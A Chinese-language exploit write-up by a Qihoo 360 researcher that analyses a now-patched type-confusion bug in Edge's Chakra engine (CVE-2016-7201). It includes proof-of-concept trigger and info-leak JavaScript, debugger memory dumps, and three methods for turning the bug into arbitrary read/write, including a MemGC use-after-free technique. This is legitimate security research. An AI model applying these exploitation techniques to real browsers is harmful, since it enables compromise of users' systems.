Three roads lead to Rome

Linan Hao of Qihoo 360 Vulcan Team

前言:

在过去的两年里一直关注于浏览器方面的研究,主要以Fuzz为主,fuzzing在用户态的漏洞挖掘中,无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入,以及大量的fuzzer在互联网公开,寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难,fuzz出仅有的几个能用的漏洞还总被其他人撞掉,因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果,起初认为存量足够了,但大概在7月份左右开始,手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…),本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的,经历了几次改变,值得说一下。

The Bug:

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()

Root Cause:

出问题的代码如下:
1
有很多地方都引用了这样的逻辑,JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型,认为传入ForEachOwnMissingArrayIndexOfObject
的prototype一定是Var Array,如下图:
2
当然,通常一个Array赋值为proto时,会被默认转化成Var Array,例如:

var x = {}
x.__proto__ = [1,2,3]

查看x的属性:

0:009> dqs 0000022f`c251e920 l1
0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
0:009> dq poi(0000022f`c251e920+28)
0000022f`c23b40a0 00000003`00000000 00000000`00000011
0000022f`c23b40b0 00000000`00000000 00010000`11111111
0000022f`c23b40c0 00010000`22222222 00010000`33333333
0000022f`c23b40d0 80000002`80000002 80000002`80000002

但ES6中Proxy的出现使代码逻辑变得更复杂,很多假设也不见得正确了,
Proxy的原型如下
3
它可以监控很多类型的事件,换句话说,可以打断一些操作过程,并处理我们自己的逻辑,返回我们自定义的数据。
其中有这样的一个handler:
4

 

 

可以在prototype = prototype->GetPrototype();进入trap流程,进入我们自定义的JavaScript user callback中。
如果返回一个JavascriptNativeIntArray类型的Array,则会导致默认的假设不成立,从而出现各种问题。
其实不仅是JavascriptNativeIntArray类型,只要不是JavascriptArray类型的数组,
都会因为与期望不同而或多或少出现问题,比如

JavascriptNativeFloatArray
JavascriptCopyOnAccessNativeIntArray
ES5Array…

下面看看使用这种”混淆”的能力,我们能做些什么

首先重新总结下这个bug:
1.我们有两个数组,Array_A和Array_B
2.在Array_B中用Var的方式(e.GetItem())取出一个item,放入Array_A中
3.两个Array的类型可以随意指定

可以进一步转化成如下问题:
1.伪造对象:
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray/JavascriptNativeFloatArray等可以控制item数据
类型的数组,则

value = e.GetItem()
this->SetItem(index, value, PropertyOperation_None);

操作后,在Array_A[x]中可以伪造出指向任意地址的一个Object。
2.越界读
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray类型
因为JavascriptNativeIntArray中元素的大小为4字节,所以通过Var的方式读取会超过Array_B的边界

为什么不在Array_A上做文章?
因为最终的赋值操作是通过SetItem完成的,即使Array_A初始化成JavascriptNativeIntArray/JavascriptNativeFloatArray等类型,最终还是会根据item的类型转换为JavascriptArray类型。

下面进入漏洞利用的部分,一个漏洞的三种利用:

0x1:

最初对”越界读”这个能力没有什么进一步的利用思路,而当时手头又有很多信息泄露的漏洞,于是exploit = leak + fakeObj

下面这个infoleak可以泄露任何对象的地址,当然已经被补掉了

function test() {

var x = []

var y = {}

var leakarr = new Array(1, 2, 3)

y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})

x[0] = 1.1

x[2] = 2.2

x.__proto__ = y

function leak() {

alert(arguments[2])

}

leak.apply(1, x)

}

要在一个固定地址处伪造对象,我们需要两个条件:
1.一个数据可控buffer的地址
2.虚表地址,也即chakra模块基址

对于1可以选择head和segment连在一起的Array

0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777

buffer地址为leak_arr_addr+0x58,但这个方案有个限制,初始元素个数不能超过SparseArraySegmentBase::HEAD_CHUNK_SIZE
相关代码如下:

className* JavascriptArray::New(uint32 length, …)

if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)

{

return RecyclerNew(recycler, className, length, arrayType);

}

array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);

SparseArraySegment<unitType> *head =

InitArrayAndHeadSegment<className, inlineSlots>(array, 0, alignedInlineElementSlots, true);

 

所以在伪造对象时需要精准利用有限的空间

对于条件2,可以在1的基础上,伪造UInt64Number通过parseInt接口触发JavascriptConversion::ToString来越界读取后面的虚表,从而泄露chakra基址。

相关代码如下:

JavascriptString *JavascriptConversion::ToString(Var aValue, …)

case TypeIds_UInt64Number:

{

unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();

if (!TaggedInt::IsOverflow(value))

{

return scriptContext->GetIntegerString((uint)value);

}

else

{

return JavascriptUInt64Number::ToString(aValue, scriptContext);

}

}

经过内存布局以及伪造Uint64Number,可以泄露出某个Array的vtable,如下:
5
最后,通过伪造Uint32Array来实现全地址读写,需要注意的是,一个Array.Segment的可控空间有限,无法写下Uint32Array及ArrayBuffer的全部字段,但其实很多字段在AAW/AAR中不会使用,并且可以复用一些字段,实现起来没有问题。

0x2:

十月,能够做信息泄露的最后几个bug被Natalie撞掉…
于是有了下面的方案,配合越界读的特性,只用这一个漏洞完成exploit.

JavaScript中的Array继承自DynamicObject,其中有个字段auxSlots,如下:

class DynamicObject : public RecyclableObject

private:

Var* auxSlots;

通常情况auxSlots为NULL,例如:

var x = [1,2,3]

对应的Array头部如下,auxSlots为0

000002e7`4c15a8b0 00007ffd`5b7433f0 000002e7`4c14b040
000002e7`4c15a8c0 00000000`00000000 00000000`00000005
000002e7`4c15a8d0 00000000`00000003 000002e7`4c15a8f0
000002e7`4c15a8e0 000002e7`4c15a8f0 000002e7`4bf6f4c0

当使用Symbol时会激活这个字段,例如:

var x = [1,2,3]
x[Symbol(‘duang’)] = 4

000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960
000002e7`4c152950 000002e7`4c152960 000002e7`4bf6c0e0

auxSlots指向一个完全可控的Var数组

0:009> dq 000002e7`4bfca5c0
000002e7`4bfca5c0 00010000`00000004 00000000`00000000
000002e7`4bfca5d0 00000000`00000000 00000000`00000000

基于这个数据结构,有了如下的方案:
1.布局内存,使Array连续排列,并激活auxSlots字段
2.用越界读的特性,读出下一个Array的auxSlots并存入Array_A中
3.Array_A[x]成为伪造的对象,对象数据即为auxSlots,完全可控

在没有信息泄露的情况下,伪造一个对象需要面临的问题是”指针”,比如
– 虚表
– Type * type字段

对于虚表,可以用枚举结合特定函数的方式,”猜”出vtable的值

bool JavascriptArray::IsDirectAccessArray(Var aValue)

{

return RecyclableObject::Is(aValue) &&

(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||

VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(aValue) ||

VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));

}

在IsDirectAccessArray中会很干净的判断aValue指向的数据是否为特定的vtable,不会操作其他字段,返回结果为TRUE或FALSE。在JavascriptArray::ConcatArgs中引用了IsDirectAccessArray这个函数,并且根据它的返回结果进入不同的处理流程,最终IsDirectAccessArray的返回值可以在js层面被间接的探知到。

伪代码:

for (addr = offset_arrVtable; addr < 0xffffffffffff; addr += 0x10000) {

auxSlots[0] = addr

if (guess()) {

chakra_base = addr – offset_arrVtable

break

}

}

下一步需要伪造Type * type这个指针字段,Type结构如下:

class Type

{

friend class DynamicObject;

friend class GlobalObject;

friend class ScriptEngineBase;

protected:

TypeId typeId;

TypeFlagMask flags;

JavascriptLibrary* javascriptLibrary;

RecyclableObject* prototype;

}

其中最重要的是typeId字段,它指定了Object的类型

TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,
#if ENABLE_COPYONACCESS_ARRAY
TypeIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,

因为我们已经知道了chakra的基址,所以只要在模块内找到一个数字为29的地方即可

type_addr = chakra_base + offset_value_29

最终,我们可以伪造出一个自定义的Array,进而实现AAR/AAW

0x3:

目前Edge浏览器中关键的对象都是通过MemGC维护,和单纯的引用计数不同,MemGC会自动扫描对象间的依赖关系,从根本上终结了UAF类型的漏洞…
然而,真的是这样完美吗? 被MemGC保护的对象不会出现UAF吗?

有几种情况是MemGC保护不周的,其中的一种情况如下:
6
如图,这是一个普通的由MemGC维护的对象,addr_A指向object的头部,addr_B指向内部中间的某个位置。

7
Object2是另外一个由GC维护的对象,在其中有Object1的引用addr_A
此时,如果在js层面free掉Object1,并且触发CollectGarbage,会发现它并没有真的被释放。

然而,如果这样
8
Object2中引用的是Object1.addr_B,Object1便可以被正常释放掉,从而出现一个指向Object1内部的悬挂指针。
再通过spray等占位的方法,就可以使用Object2访问freed的内容,实现UAF利用。

构造UAF的流程如下:
1.分配由MemGC维护的Object1:

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777

2.分配由MemGC维护的Object2,其中有Object1+XXX位置的引用:

0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002

3.释放Object1,并且触发CollectGarbage,可以看到被链入freelist:

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
000002e7`4bfe7e10 00000000`00000000 00000000`00000000
000002e7`4bfe7e20 00000000`00000000 00000000`00000000
000002e7`4bfe7e30 00000000`00000000 00000000`00000000
000002e7`4bfe7e40 00000000`00000000 00000000`00000000
000002e7`4bfe7e50 00000000`00000000 00000000`00000000

4.使用Object2引用释放的Object1:

0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8

要把我们的bug转换成UAF,需要完成两件事情
1.找到一个对象的”内部指针”
2.将这个指针缓存,并可以通过JS层面引用

对于1,可以使用Head与Segment连在一起的Array

000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //指向对象内部的指针
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777

对于2,可以通过越界读的能力,将这个指针读入我们可控的Array

现在我们造出了一个UAF,接下来用什么数据结构来填充?
NativeIntArray/NativeFloatArray显然不可以,虽然数据完全可控,但目前我们无法做到信息泄露,所以数据也不知道填什么。
最后我选择了JavaScriptArray,后面会讲为何这样选择。

最终的UAF用JavaScriptArray占位成功后效果如下:

//before free&spray

0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777

//after free&spray

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000

下面说下为何用JavaScriptArray占位。
因为Var Array可以存放对象,而判断是否为对象仅仅测试48位是否为0
(((uintptr_t)aValue) >> VarTag_Shift) == 0
所以对于虚表、指针等都可以当做对象以原始形态存入Var Array,这对直接伪造出一个Object来说是极好的。

具体步骤如下:
1.通过越界读,读出下一个Array的vtable、type、segment三个字段。此时我们不知道它们具体的数值是多少,是作为对象缓存的

var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]

2.构造UAF,并用fakeobj_vararr占位

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000

3.伪造对象
之前缓存的”内部指针”JavascriptNativeIntArray_segment指向的位置,对应fakeobj_vararr第五个元素的位置,如上所示
所以:

fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr

4.访问伪造的对象

alert(JavascriptNativeIntArray_segment.length)

Exploit:
9

总结:

本文描述了一些chakra脚本引擎中漏洞利用的技巧,分为三种不同的利用方式来体现,三种方式并不独立,可以融合成一个更精简稳定的exploit。所描述的bug最终在十一月补丁日,pwnfest前一天,同样被Natalie撞掉了,对应的信息为CVE-2016-7201,比赛最终使用的漏洞及利用方式,会在微软完成修补后讨论。
有问题,可以联系我:
Weibo:@holynop